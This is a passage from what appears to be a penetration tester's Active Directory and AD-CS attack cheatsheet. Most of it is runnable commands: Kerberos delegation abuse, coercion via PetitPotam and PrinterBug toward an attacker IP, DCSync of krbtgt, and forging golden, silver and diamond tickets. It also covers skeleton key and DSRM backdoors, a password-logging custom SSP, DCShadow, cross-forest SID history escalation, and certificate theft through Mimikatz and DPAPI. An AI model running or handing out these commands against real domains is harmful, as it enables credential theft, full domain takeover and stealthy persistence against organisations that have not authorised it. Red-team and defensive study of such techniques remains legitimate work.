.\Rubeus.exe monitor /interval:5 /nowrap

On the attacker machine run :

#PrinterBug
.\MS-RPRN.exe \\<target>.domain.local \\unconstrainedMachine.domain.local

#PetitPotam
.\PetitPotam.exe attacker_ip <target>.domain.local

.\Rubeus.exe ptt /ticket:...

#DCSync with the dc TGT
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'

Any principal in Unconstrained Delegation

If we have enough rights against a principal (computer or user) in UD to add a SPN on it and know its password, we can try to use it to retrieve a machine account password from an authentication coercion.

Since the principal is in Unconstrained Delegation, when the machine account will send the ST to the SPN it will automatically add a TGT in it, and because the SPN is pointing to us with the DNS record, we can retrieve the ST, decipher the ciphered part with the user password (the SPN is setup on the user, so the ST is ciphered with his password), and retrieve the TGT.

#Add the SPN with the Microsoft module
Set-ADUser -Identity <principal_in_UD> -ServicePrincipalName @{Add='HOST/test.domain.local'}

#Create the DNS record
Invoke-DNSUpdate -DNSType A -DNSName test.domain.local -DNSData <attacker_IP> -Realm domain.local

#Run krbrelayx with the hash of the password setup on the UD user
python3 krbrelayx.py -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip dc.domain.local

#Trigger the coercion
.\PetitPotam.exe <attacker_ip> <target_IP>

Constrained delegation

In this situation, the computer in delegation has a list of services where it can delegate an authentication. This is controlled by msDS-AllowedToDelegateTo attribute that contains a list of SPNs to which the user tokens can be forwarded. No ticket is stored in LSASS.

To impersonate the user, Service for User (S4U) extension is used which provides two extensions:

Enumerate principals with CD enabled

#Powerview
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

With protocol transition

Any service can be specified on the target since it is not correctly checked. All the Rubeus commands can be performed with kekeo aswell.

.\Rubeus.exe s4u /user:user1 /rc4:<hash> /impersonateuser:Administrator /msdsspn:"time/<target>.domain.local" /altservice:ldap,cifs /ptt

If we have a session as the user, we can just run .\Rubeus.exe tgtdeleg /nowrap to get the TGT in Base64, then run:

.\Rubeus.exe s4u /ticket:doIFCDC[SNIP]E9DQUw= /impersonateuser:Administrator /domain:domain.local /msdsspn:"time/<target>.domain.local" /altservice:ldap,cifs /ptt

Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'

Without protocol transition

In this case, it is not possible to use S4U2self to obtain a forwardable ST for a specific user. This restriction can be bypassed with an RBCD attack detailled in the following section.

Resource-based constrained delegation

Wagging the Dog

With RBCD, this is the resource machine (the machine that receives delegation) which has a list of services that can delegate to it. This list is specified in the attribute msds-allowedtoactonbehalfofotheridentity and the computer can modified its own attribute (really usefull in NTLM relay attack scenario).

Requirements

#To verify
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local

Get-NetComputer ws01 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

Standard RBCD

The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally he has sufficient rights to configure msds-allowedtoactonbehalfofotheridentity on ServiceB.

#Add RBCD from ServiceA to ServiceB
Set-ADComputer ServiceB -PrincipalsAllowedToDelegateToAccount ServiceA$

#Verify property
Get-NetComputer ServiceB | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

#Get ServiceA TGT and then S4U
rubeus -x tgtdeleg /nowrap
rubeus -x s4u /user:ServiceA$ /ticket:ticket.kirbi /impersonateuser:administrator /msdsspn:host/ServiceB.domain.local /domain:domain.local /altservice:cifs,host,http,winrm,RPCSS,wsman /ptt

With machine account creation

Import-Module Powermad.ps1
Import-Module PowerView.ps1

#Creds if needed, to run as another user
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain.local\user1', $SecPassword)

#Check requirements
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local -Credential $Cred
Get-NetComputer <target> -Domain domain.local | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

#Add the fake machine as a ressource + get its SID
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Credential $Cred -Verbose -Domain domain.local -DomainController DC.domain.local
Get-DomainComputer FAKE01 -Domain domain.local -Credential $Cred
$ComputerSid = Get-DomainComputer FAKE01 -Properties objectsid | Select -Expand objectsid

#Create the new raw security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

#Add the new raw SD to msds-allowedtoactonbehalfofotheridentity
Get-DomainComputer <target> -SearchBase "LDAP://DC=domain,DC=local" -Credential $Cred | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -SearchBase "LDAP://DC=domain,DC=local" -Verbose -Credential $Cred

#Check if well added
$RawBytes = Get-DomainComputer <target> -Properties 'msds-allowedtoactonbehalfofotheridentity' -Credential $Cred -SearchBase "LDAP://DC=domain,DC=local" | select -expand msds-allowedtoactonbehalfofotheridentity
(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl

#Calcul hash
.\Rubeus.exe hash /password:Password123! /user:FAKE01$ /domain:domain.local
#S4U attack
.\Rubeus.exe s4u /user:FAKE01$ /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /impersonateuser:administrator /msdsspn:cifs/<target> /domain:domain.local /ptt /dc:DC.domain.local

Skip S4USelf

.\Rubeus.exe s4u /user:ServiceA$ /aes256:<service_key> /tgs:"/path/to/kirbi" /msdsspn:cifs/serviceB.domain.local /domain:domain.local /ptt /dc:DC.domain.local

Reflective RBCD

With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to itself, a run a full S4U to access the machine on behalf of another user.

Set-ADComputer ServiceA -PrincipalsAllowedToDelegateToAccount ServiceA$
.\Rubeus.exe s4u /user:ServiceA$ /aes256:<service_key> /impersonateuser:Administrator /msdsspn:cifs/serviceA.domain.local /domain:domain.local /ptt /dc:DC.domain.local

Impersonate protected user via S4USelf request

It is possible to impersonate a protected user with the S4USelf request if we have a TGT (or the creds) of the target machine (for example from an Unconstrained Delegation).

With the target TGT it is possible to realise a S4USelf request for any user and obtain a ST for the service. In case where the needed user is protected against delegation, S4USelf will still work, but the ST is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however, the SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a valid ST for the target service with a sensitive user (and the ST PAC is well signed by the KDC).

.\Rubeus.exe s4u /self /impersonateuser:Administrator /ticket:doIFFz[...SNIP...]TE9DQUw=  /domain:domain.local /altservice:cifs/server.domain.local /ptt

Bypass Constrained Delegation restrictions with RBCD

#RBCD from A to B
Set-ADComputer ServiceB -PrincipalsAllowedToDelegateToAccount ServiceA$
.\Rubeus.exe s4u /user:ServiceA$ /aes256:<serviceA_key> /impersonateuser:Administrator /msdsspn:cifs/serviceB.domain.local /domain:domain.local /dc:DC.domain.local

#S4UProxy from B to C with the obtained ST as evidence
.\Rubeus.exe s4u /user:ServiceB$ /aes256:<serviceB_key> /tgs:<obtained_TGS> /msdsspn:time/serviceC.contoso.local /altservice:cifs /domain:domain.local /dc:DC.domain.local /ptt

U2U RBCD with SPN-less accounts

In case where you have sufficient rights to configure an RBCD on a machine (for example with an unsigned authentication coerce via HTTP) but ms-ds-machineaccountquota equals 0, there is no ADCS with the HTTP endpoint and the Shadow Credentials attack is not possible (domain level to 2012 for example), you can realize a RBCD from a SPN-less user account. An interesting example is present here. You can follow the example in this PR.

.\Rubeus.exe asktgt /user:user1 /rc4:<NT_hash> /nowrap

.\Rubeus.exe asktgs /u2u /ticket:TGT.kirbi /tgs:TGT.kirbi /targetuser:Administrator /nowrap

import binascii, base64
print(binascii.hexlify(base64.b64decode("<TGT_SESSION_KEY_B64>")).decode())

smbpasswd.py -newhashes :sessionKey 'domain.local'/'user1':'Password123!'@'DC'

.\Rubeus.exe s4u /msdsspn:cifs/target.domain.local /ticket:TGT.kirbi /tgs:U2U.kirbi

RBCD from MSSQL server

If we have sufficient access to a MSSQL server we can use the xp_dirtree in order to leak the Net-NTLM hash of the machine account. Additionally, the Web Service client must be running on the machine in order to trick the authentication from SMB to HTTP and avoid the NTLM signature (authentication must be sent to @80):

#Add the DNS
Invoke-DNSUpdate -DNSType A -DNSName attacker.domain.local -DNSData <attacker_IP> -Realm domain.local

#On our machine, waiting for the leak
#https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
python rbcd_relay.py 192.168.24.10 domain.local 'target$' <controlledAccountWithASPN>

#ON the MSSQL server
SQLCMD -S <MSSQL_instance> -Q "exec master.dbo.xp_dirtree '\\attacker@80\a'" -U Admin -P Admin

#After the attack, ask for a ST with full S4U
.\Rubeus.exe s4u /user:<controlled_account> /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/<target> /domain:domain.local /dc:DC.domain.local /ptt

Domain Persistence

Diamond ticket

Blog here

.\Rubeus.exe diamond /krbkey:<aes_krbtgt_key> /user:user1 /password:password /enctype:aes /domain:domain.local /dc:dc.domain.local /ticketuser:Administrator /ticketuserid:<target_RID> /groups:512 /nowrap

For better opsec, the Shapphire Ticket presented in the Active Directory - Python edition cheatsheet can be used.

Golden ticket

Retrieve the krbtgt hash

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dc

Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'

Create TGT

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<domain_SID> /krbtgt:<krbtgt_hash> /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

RODC Golden Ticket

In case of a RODC, it is still possible to forge a Golden Ticket but the KRBTGT's version number is needed and only the accounts allowed to authenticate can be specified in the ticket (according to the msDS-RevealOnDemandGroup and msDS-NeverRevealGroup lists).

.\Rubeus.exe golden /rodcNumber:<krbtgt_number> /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256:<krbtgt_aes_key> /user:user1 /id:<user_RID> /domain:domain.local /sid:<domain_SID>

Silver ticket

Create ST

/rc4 take the service account (generally the machine account) hash. /aes128 or /aes256 can be used for AES keys.

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<domain_SID> /target:<target>.domain.local /service:CIFS /rc4:<account_hash> /ptt"'

Requesting a ST with a valid TGT can be performed with Rubeus like this:

.\Rubeus.exe asktgs /ticket:tgt.kirbi /service:LDAP/dc.domain.local,cifs/dc.domain.local /ptt

Another solution, if you don't have the NT hash or the AES keys of the service but you have a TGT for the service account, is to impersonate an account via a request for a service ticket through S4USelf to an alternative service (and the opsec is better since the PAC is consistent):

.\Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/target.domain.local" /ticket:"<base64_target_TGT>" /nowrap

GoldenGMSA

With the KDS root key and some information about the gMSA account (that can be retrieved with low privileges), it is possible to compute the gMSA's password.

Dump the KDS root key

This operation needs admin privs on the domain

#For the root domain of the forest
./GoldenGMSA.exe kdsinfo

#For a specific domain
./GoldenGMSA.exe kdsinfo --forest domain.local

Retrieve gMSA's information

Low privs are sufficient here

#All the gMSA accounts
./GoldenGMSA.exe gmsainfo

#A specific one in a specific domain
./GoldenGMSA.exe gmsainfo --sid <gmsa_SID> --domain domain.local

Compute the password

This operation can be realized offline

./GoldenGMSA.exe compute --sid <gmsa_SID> --kdskey <base64_KDS_key> --pwdid <base64_msds-ManagedPasswordID_value>

The output is in Base64 and the password is generally not readable. It is possible to calcul the NT hash from it instead:

import base64
import hashlib

b64 = "<base64_password>"
print(hashlib.new("md4", base64.b64decode(b64)).hexdigest())

Skeleton key

Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dc.domain.local

Now, it is possible to access any machine with a valid username and password as "mimikatz".

Enter-PSSession -Computername dc -Credential domain\Administrator

DSRM

Dump DSRM password

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dc

Change registry configuration

Need to change the logon behavior before pass the hash

Enter-PSSession -Computername dc
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

Now the DSRM hash ca be used to authenticate

Custom SSP

SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM, WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the passwords of the users that authenticate on the machine.

Invoke-Mimikatz -Command '"misc::memssp"'

Upload the mimilib.dll to system32 and add mimilib to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages :

$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages'| select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages

All local logons on the DC are logged to C:\Windows\system32\kiwissp.log

DACLs - AdminSDHolder

AdminSDHolder is a solution that compares the ACLS of the objects with AdminCount=1 with a list of ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every hour.

Attack

#PowerView
Add-ObjectAcl -TargetSearchBase 'CN=AdminSDHolder,CN=System' -PrincipalIdentity user1 -Rights All -Verbose

#AD Module
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -Principal user1 -Verbose

Run SDProp manually

Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
#Pre-Server 2008
Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose

Check Domain Admins DACLs

#PowerView
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'user1'}

#AD Module
(Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local').Access | ?{$_.IdentityReference -match 'user1'}

DACLs - Interesting rights

The ACLs can be used for persistence purpose by adding interesting rights like DCSync, FullControl over the domain, etc. Check the On any objects in the ACLs attacks section. Multiple rights like All, DCSync, etc, are possible.

DACLs - Security Decriptors

ACLs can be modified to allow users to access objects.

WMI

#On local machine
Set-RemoteWMI -UserName user1 -Verbose

#On remote machine without explicit credentials
Set-RemoteWMI -UserName user1 -ComputerName <computer> -namespace 'root\cimv2' -Verbose

#On remote machine with explicit credentials. Only root\cimv2 and nested namespaces
Set-RemoteWMI -UserName user1 -ComputerName <computer> -Credential Administrator -namespace 'root\cimv2' -Verbose

#On remote machine remove permissions
Set-RemoteWMI -UserName user1 -ComputerName <computer> -namespace 'root\cimv2' -Remove -Verbose

PowerShell Remoting

#On local machine
Set-RemotePSRemoting -UserName user1 -Verbose

#On remote machine without credentials
Set-RemotePSRemoting -UserName user1 -ComputerName <computer> -Verbose

#On remote machine, remove the permissions
Set-RemotePSRemoting -UserName user1 -ComputerName <computer> -Remove

Remote Registry

With the scripts from DAMP-master. Permits to realize some actions like credentials dump via the registry.

Cross-Trust Movement

Child to parent domain

Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the SID of the Enterprise Admins group in the SID history field.

With the trust key

Get the trust key, look at the [in] value in the result

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc
#OR
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\parentDomain$"'

Forge the referral ticket :

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<current_domain_SID> /sids:<enterprise_admins_SID>-<RID> /rc4:<key> /service:krbtgt /target:parentDomain.local /ticket:trust.kirbi"'

Request a ST with the previous TGT and access service :

#New tools for more fun
.\asktgs.exe trust.kirbi CIFS/dc.parentDomain.local
.\kirbikator.exe lsa .\CIFS.dc.parentDomain.local.kirbi
ls \\dc.parentDomain.local\c$

#Or classicaly
.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/dc.parentDomain.local /dc:dc.parentDomain.local /ptt
ls \\dc.parentDomain.local\c$

With the krbtgt hash

Exactly the same attack, but with the krbtgt hash that can be extracted like this :

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

To avoid some suspicious logs, use multiple values can be added in SID History :

Invoke-Mimikatz -Command '"kerberos::golden /user:dc$ /domain:domain.local /sid:<current_domain_SID> /groups:516 /sids:<parent_domain_SID>-516,S-1-5-9 /krbtgt:<krbtgt_hash> /ptt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:parentDomain\Administrator /domain:parentDomain.local"'

Across forest

SID History attacks

If there is no SID filtering, it is possible to specify any privileged SID of the target forest in the SID History field. Otherwise, with partial filtering, an RID > 1000 must be indicated.

Invoke-Mimikatz -Command '"lsadump::trust /patch"'
#Or
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

#Referral ticket with the Trust Key
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<current_domain_SID> /sids:<target_domain_SID>-<RID> /rc4:<key> /service:krbtgt /target:targetDomain.local /ticket:trust_forest.kirbi"'

#Inter-realm Golden Ticket with krbtgt, with pass-the-ticket
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<current_domain_SID> /sids:<target_domain_SID>-<RID> /krbtgt:<krbtgt_hash> /ptt"'

#For a specific user different than the Administrator (not RID 500)
Invoke-Mimikatz -Command '"kerberos::golden /user:user1 /domain:domain.local /sid:<current_domain_SID> /id:<user1_RID> /rc4:<trust_key> /service:krbtgt /target:targetDomain.local /ticket:trust_forest.kirbi"'

./Rubeus.exe asktgs /ticket:trust_forest.kirbi /service:cifs/dc.targetDomain.local /dc:dc.targetDomain.local /ptt

#These SIDs are members of the target domain
Get-DomainObject -Domain targetDomain.local | ? {$_.objectclass -match "foreignSecurityPrincipal"}

#The found SIDs can be search in the current forest
Get-DomainObject |? {$_.objectSid -match "<SID>"}

Then, it is possible to forge an referral ticket for this user and access the target forest with its privileges.

TGT delegation

By default, Domain Controllers are setup with Unconstrained Delegation (which is necessary in an Active Directory to correctly handle the Kerberos authentications).

If TGT delegation is enabled in the trust attributes, it is possible to coerce the remote Domain Controller authentication from the compromised Domain Controller, and retrieve its TGT in the ST. If TGT delegation is disabled, the TGT will not be added in the ST, even with the Unconstrained Delegation.

Additionally, Selective Authentication must not be enabled on the trust, and a two ways trust is needed.

How to exploit an Unconstrained Delegation.

Transit across non-transitive trusts

If a non-transitive trust is setup between domains from two different forests (domain A and B for example), users from domain A will be able to access resources in domain B (in case that B trusts A), but will not be able to access resources in other domains that trust domain B (for example, domain C). Non-transitive trusts are setup by default on External Trusts for example.

However, there is a way to make non-transitive trusts transitive. Full explains here.

For this example, there is an External Trust between domains A and B (which are in different forests), there is a Within Forest trust between domains B and C (which are in the same forest), and a Parent-child trust between domains C and D (so, they are in the same forest). We have a user (userA) in domain A, and we want to access services in domain D, which is normally impossible since External Trusts are non-transitive.

./Rubeus.exe asktgt /user:userA /password:password /nowrap

./Rubeus.exe asktgs /service:krbtgt/domainB.local /ticket:<previous_TGT> /dc:dc.domainA.local /nowrap

./Rubeus.exe asktgs /service:krbtgt/domainB.local /targetdomain:domainB.local /ticket:<previous_referral> /dc:dc.domainB.local /nowrap

./Rubeus.exe asktgs /service:krbtgt/domainC.local /targetdomain:domainB.local /ticket:<previous_local_TGT> /dc:dc.domainB.local /nowrap

This referral for domain C can be, in turn, used to access domain D with the same technique, and so on. This attack permits to pivot between all the trusts (and consequently the domains) in the same forest from a domain in a external forest.

However, it is not possible to directly use this technique to access a domain in another forest that would have a trust with domain D. For example, if domain D has an External Trust with domain E in a third forest, it will be not possible to access domain E from A.

A valid workaround is to use the referral for domain D to request a ST for LDAP in domain D, and use it to create a machine account. This account will be valid in domain D and will be used to restart the attack from domain D (like with user A) and access domain E.

./Rubeus.exe asktgs /service:ldap/domainD.local /ticket:<referral_domainD> /dc:dc.domainD.local /ptt
New-MachineAccount -MachineAccount machineDomainD -Domain domainD.local -DomainController dc.domainD.local
#Then, ask for a TGT and replay the attack against domain E

Across forest - PAM trust

The goal is to compromise the bastion forest and pivot to the production forest to access to all the resources with a Shadow Security Principal mapped to a high priv group.

Check if the current forest is a bastion forest

Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}

Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) | select Name,member,msDS-ShadowPrincipalSid | fl

These users can access the production forest through the trust with classic workflow (PSRemoting, RDP, etc), or with SIDHistory injection since SIDFiltering is disabled in a PAM Trust.

Check if the current forest is managed by a bastion forest

Get-ADTrust -Filter {(ForestTransitive -eq $True)}

A trust attribute of 1096 is for PAM (0x00000400) + External Trust (0x00000040) + Forest Transitive (0x00000008).

SCCM Hierarchy takeover

In case an organisation has multiple SCCM primary sites dispersed between different domains, it has the possibility to setup a Central Administration Site to administrate all the sites from one "top" site server.

If it the case, by default the CAS will automatically replicate all the SCCM site admins between all the sites. This means, if you have takeover one site and added a controlled user as SCCM site admin, he will be automatically added as a site admin on all the other site by the CAS, and you can use him to pivote between the sites.

Full explains here.

MSSQL server

Everything is here. (Not for the moment, refactor in progress)

Forest Persistence - DCShadow

The attack needs 2 instances on the compromised machine and Mimikatz.

#With Mimikatz
#Set SYSTEM privs to the process
!+
!processtoken
#Launch the server
lsadump::dcshadow /object:<object_to_modify> /attribute:<attribute_to_modify> /value=<value_to_set>

sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<hash> /impersonate
lsadump::dcshadow /push

Minimal permissions

DCShadow can be used with minimal permissions (and this) by modifying ACLs of :

Set-DCShadowPermissions can be used to setup automatically

To use DCShadow as user user1 to modify user2 object from machine machine-user1

Set-DCShadowPermissions -FakeDC machine-user1 -SAMAccountName user2 -Username user1 -Verbose

Now, the second mimkatz instance (which runs as DA) is not required.

Set interesting attributes

Set SIDHistory to Enterprise Admin

lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:<domain_SID>-519

Modify primaryGroupID

lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519

Modify ntSecurityDescriptor for AdminSDHolder to add Full Control for a user

We just need to append a Full Control ACE from above for SY/BA/DA with our user's SID at the end.

#Read the current ACL of high priv groups
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=domain,DC=local")).psbase.ObjectSecurity.sddl

Get the SID of our user and append it at the end of the ACLs. Then launch DCShadow like this :

lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=domain,DC=local /attribute:ntSecurityDescriptor /value:<modified ACL>

Set a SPN on an user

lsadump::dcshadow /object:user1 /attribute:servicePrincipalName /value:"Legitime/User1"

Shadowception

We can even run DCShadow from DCShadow, which is Shadowception (and still this).

We need to append following ACEs with our user's SID at the end:

Get the ACLs

Get the ACLs for the Domain Object :

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=domain,DC=local")).psbase.ObjectSecurity.sddl

For the attacker machine :

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=machine-user1,CN=Computers,DC=domain,DC=local")).psbase.ObjectSecurity.sddl

For the target user :

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=user2,CN=Users,DC=domain,DC=local")).psbase.ObjectSecurity.sddl

For the Site Container :

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Sites,CN=Configuration,DC=domain,DC=local")).psbase.ObjectSecurity.sddl

Stack the queries

After have get the ACLs and have appended the new ACEs for each one, we can stack the different queries to make a big DCShadow query
For each one :

lsadump::dcshadow /stack /object:<object> /attribute:ntSecurityDescriptor /value:<newACL_after_the_append>

Then just lsadump::dcshadow

DCShadow can now be run from a user DCShadow-ed.

References

Active Directory Certificate Services

It is a cheatsheet about the different AD-CS attacks presented by SpecterOps. All the references and resources for the commands and techniques will be listed at the end of the page, for acknowledgments and explains. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_.

I will try to put as many links as possible at the end of the page to direct to more complete resources. Many commands are more explained here, where I have participate for AD-CS.

Is there a CA ?

Find the Cert Publishers group :

Find the PKI and enumerate the templates and configurations from Linux:

netexec ldap 'domaincontroller' -d 'contoso' -u 'user' -p 'password' -M adcs
certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP'

Find the CA from Windows:

certutil -config - -ping
Certify.exe cas
Certify.exe find

Enumerate the HTTP ports on the servers, enumerate the shares to find CertEnroll, etc.

Certificate Theft

Export user certificates with Crypto APIs - THEFT1

With a session on a machine as a user, it is possible to export his certificate from the Windows Certificate Manager. With an interactive session and if the private keys are exportable :

certmgr.msc -> All Tasks → Export... to export a password protected .pfx file.

With PowerShell :

$mypwd = ConvertTo-SecureString -String "Password123!" -Force -AsPlainText
Export-PfxCertificate -Cert cert:\currentuser\my\<CERT_THUMBPRINT> -FilePath ./export.pfx -Password $mypwd

#Or with CertStealer
#List all certs
CertStealer.exe --list

#Export a cert in pfx
CertStealer.exe --export pfx <CERT_THUMBPRINT>

If the CAPI or CNG APIs are configured to block the private key export, they can be patched with Mimikatz :

mimikatz # 
crypto::capi
privilege::debug
crypto::cng

crypto::certificates /export

Certificate theft via DPAPI - THEFT2 & 3

User certificates

With the master key :

#With SharpDPAPI
SharpDPAPI.exe certificates /mkfile:key.txt


#With Mimikatz
#Export certificate and its public key to DER
cd C:\users\user1\appdata\roaming\microsoft\systemcertificates\my\certificates\
./mimikatz.exe "crypto::system /file:43ECC04D4ED3A29EAEF386C14C6B650DCD4E1BD8 /export"
	Key Container  : te-CYEFSR-a2787189-b92a-49d0-b9dc-cf99786635ab

#Find the master key (test them all until you find the good one)
./mimikatz.exe "dpapi::capi /in:ed6c2461ca931510fc7d336208cb40b5_cd42b893-122c-49c3-85da-c5fff1b0a3ad"
	pUniqueName        : te-CYEFSR-a2787189-b92a-49d0-b9dc-cf99786635ab #->good one
	guidMasterKey      : {f216eabc-73af-45dc-936b-babe7ca8ed05}

#Decrypt the master key
./mimikatz.exe "dpapi::masterkey /in:f216eabc-73af-45dc-936b-babe7ca8ed05 /rpc" exit
	key : 40fcaaf0f3d80955bd6b4a57ba5a3c6cd21e5728bcdfa5a4606e1bf0a452d74ddb4e222b71c1c3be08cb4f337f32e6250576a2d105d30ff7164978280180567e
	sha1: 81a2357b28e004f3df2f7c29588fbd8d650f5e70

#Decrypt the private key
./mimikatz.exe "dpapi::capi /in:\"Crypto\RSA\<user_SID>\ed6c2461ca931510fc7d336208cb40b5_cd42b893-122c-49c3-85da-c5fff1b0a3ad\" /masterkey:81a2357b28e004f3df2f7c29588fbd8d650f5e70" exit
	Private export : OK - 'dpapi_private_key.pvk'

#Build PFX certificate
openssl x509 -inform DER -outform PEM -in 43ECC04D4ED3A29EAEF386C14C6B650DCD4E1BD8.der -out public.pem
openssl rsa -inform PVK -outform PEM -in dpapi_private_key.pvk -out private.pem
openssl pkcs12 -in public.pem -inkey private.pem -password pass:bar -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

With a domain backup key to first decrypt all possible master keys :

SharpDPAPI.exe certificates /pvk:key.pvk

Machine certificates

Same, but in a elevated context :

SharpDPAPI.exe certificates /machine

To convert a PEM file to a PFX :

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Finding certificate files - THEFT4

To search for possibly certificate and key related files with Seatbelt :

./Seatbelt.exe "dir C:\ 10 \.(pfx|pem|p12)`$ false"
./Seatbelt.exe InterestingFiles

Other interesting extensions :

To find what the certificate can do :

$CertPath = ".\cert.pfx"
$CertPass = "Password123!"
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
$Cert.EnhancedKeyUsageList

#Or with a pfx
certutil.exe -dump -v cert.pfx

Verify if a found certificate is the CA certificate (you are really lucky) :

#Show certificate thumbprint
$CertPath = ".\cert.pfx"
$CertPass = "Password123!"
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
$Cert.Thumbprint

#Verify CA thumbprint
certutil.exe find /quiet

If they match, it's good.

NTLM Credential Theft via PKINIT – THEFT5

When a TGT is requested with PKINIT, the LM:NT hash is added in the structure PAC_CREDENTIAL_INFO for futur use if Kerberos is not supported, and the PAC is ciphered with the krbtgt key. When a TGS is requested from the TGT, the same structure is added, but ciphered with the session key.

The structure can be unciphered if a TGS-REQ U2U is realised. It's called UnPac-the-hash.

Windows

Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show

Linux

# Authenticate and recover the NT hash
certipy auth -pfx 'user.pfx' -no-save

Account Persistence

User account persistence - PERSIST1

With a user account control on a domain machine, if a template that allows Client Authentication is enabled, it is possible to request a certificate that will be valid for the lifetime specified in the template even if the user changes his password.

Windows

Certify.exe request /ca:CA.contoso.local\CA /template:"Authentication Template"

Linux

If the user's password is known:

certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Authentication Template'

Machine account persistence - PERSIST2

With a machine account control, if a template that allows Client Authentication is enabled for the computers, it is possible to request a certificate that will be valid for the lifetime specified in the template even a password modification, a system wipe or whatever (if the machine hostname remains the same).

Windows

Certify.exe request /ca:CA.contoso.local\CA /template:"Authentication Template" /machine

Linux

If the machine's hash is known:

